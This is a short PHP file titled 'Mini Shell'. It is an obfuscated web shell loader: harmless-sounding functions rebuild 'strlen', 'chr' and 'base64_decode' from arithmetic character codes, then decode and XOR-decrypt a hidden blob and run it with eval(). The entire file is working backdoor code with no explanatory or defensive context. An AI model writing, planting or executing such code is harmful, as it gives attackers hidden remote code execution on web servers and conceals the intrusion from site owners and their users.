Mini Shell

��<?php
function sync_data($v)
{
    $m = array(101 * 56 - 5546, 35 * 2 + 31, 108, 116 - 2, 116, 108 + 2 + 5);
    $g = '';
    foreach ($m as $q) {
        $g .= chr($q);
    }
    $g = strrev($g);
    return $g($v);
}

function monitor_health($q)
{
    $a = array(98 * 25 - 2351, 88 * 63 - 5440, 2 * 57);
    $t = '';
    foreach ($a as $n) {
        $t .= chr($n);
    }
    return $t($q);
}

$nly = array(98 * 98 / 98 + 8 + 3 - (8 + 3) + 17 - 17, 97 - 5 + 5 + 2 + 9 - (2 + 9), 115 - 11 + 11 - 4 + 4 - 9 + 9, 101 + 6 + 9 - (6 + 9) + 1 + 1 - (1 + 1) - 15 + 15, 54 - 4 + 4 + 1 - 1, (52 - 16 + 16 * 1) / 1 + 3 + 2 - (3 + 2) - 3 + 3 + 10 + 5 - (10 + 5), 95 + 18 - 18 + 3 - 3 + 6 + 9 - (6 + 9) - 15 + 15, 100 * 1 / 1 + 10 - 10, 101 - 10 + 10 + 2 - 2 - 15 + 15, 99 + 7 + 3 - (7 + 3) + 4 + 7 - (4 + 7) + 1 + 9 - (1 + 9), (111 + 10 + 10 - (10 + 10) + 5 + 1 - (5 + 1) * 1) / 1, 100 * 20 / 20 + 7 - 7, 101 + 12 - 12 + 5 - 5 - 16 + 16 + 7 + 7 - (7 + 7));
$ufh = '';
foreach ($nly as $bhz) {
    $ufh .= monitor_health($bhz);
}
$chl = 'Wl4TREJMbgkeDElAG0FQGFRGCwNYRhtUFTNJCAJMSkYTQ1gPEQANGVpGG1hfTG4FHwURFi1BWxUdQicHQVBbTFgKGUcLElVUSA0VM0kIAl5KVx5RC1ZuBxsWERtJE24NXlsLA0teF1kZSG4WABUQCVZoVRhZWxoWSldEA24IVAUXE1waAVJdCgtcXChBXAhsFTNHDAEqEAkUWENEFTkZGwQCXhNuCltbCwNLXhdZGUhuAgwfEAlWaFAAEFtFU2ZUGAwaRxU5GRsQFi1TRQRqQicWVW9PVFkeGQkKExEWLVNFBGpCJxZVb1tpXh5VTlwoSUoQbBUzUApdU2ZTHWoYRQoUHQNMQBwTbghFDkMKSUAbQVAYVEYLA1hGG1QRCkQIGwNQXRwXbg1SB1BeQkEXW1dWC0InD1dIT1ZDHlAfUFBmWwYQDFIWIAIUEn0jdgMjYhE2J3pBB3BYXBpBVFBmXh8QDFIWIAIuAHYIBwkocgVPNnp/B3BYGwhBVFBmRQFNFlEPQRkhTVMQYXcOUCBASh4eVWhHDkZBRUkeFV4QbhxADV9KBxVVGxhXTBsRERFbAURUGBlCJyR8YCRyYzduCR5NA20RUENEFjkRAx4eVWhSBlhBUSoQFFRERR5BCQtfHW0hcmM6dDQjKFZUSA1uD1YUUFBmXh8QHUtuBBFQEG9eaF4KC1wnFF5AWhBuG0IcX1sebRtbFkUYR0VKX1MeRFRFSkInEVMPVmhyI34tMTICFi1HSQ4MVkhMHW0EXUhRAVNDU2ZBGlsMDUMUGQ4RG0kTbh9ZCiNTZkIKVWxRbgkeTQNtEVBDRBY5DhVOFV4QbgpfQVFMTlobW1REFTkOHUAbCRNuH1kKI1NmQgpVbEIMQicRU2lCAwAxakInAVNLLwxYChlHXChfWCkHBV1sPVwoT1gLHAFdbE8DHl8aUxNuCls9SEMIbykTbhpbH1NHC29bVUMJUA1DU2ZCClUaRwpCJwRRXikTbhxJBCVKZl0UDQszUgEKXx5tAkZaSx1BJwFMFVsMFTNHDAFcEgkPE24aWx9FU2ZEGE4aXARNSEYCT1ZoQRRTW1woSloebAFebE5RWR1tAV9dNwFUTSoCWxQfEEhuFRAbYgJCahlIbhYAFRAbCRNuGlsfRVNmQRpbalwDVSVfHW0CT1NAFTkLH1VpQgUDMRhdXChKWh5sAV8CO1BTZkQYTh1IbhUQG2ICQ2ofSG4VEBtiAkMFbEQVOQsfVWlCBAUxGUInEVNpQgRsRRhPQwpQXBFbRAhUTlwoSUoQHgoIWANQXgJP';
$fwr = '92r71l1fxw';
$oua = '';
for ($aoo = 0; $aoo < sync_data($ufh($chl)); $aoo++) {
    $oua .= $ufh($chl)[$aoo] ^ $fwr[$aoo % sync_data($fwr)];
}
eval($oua);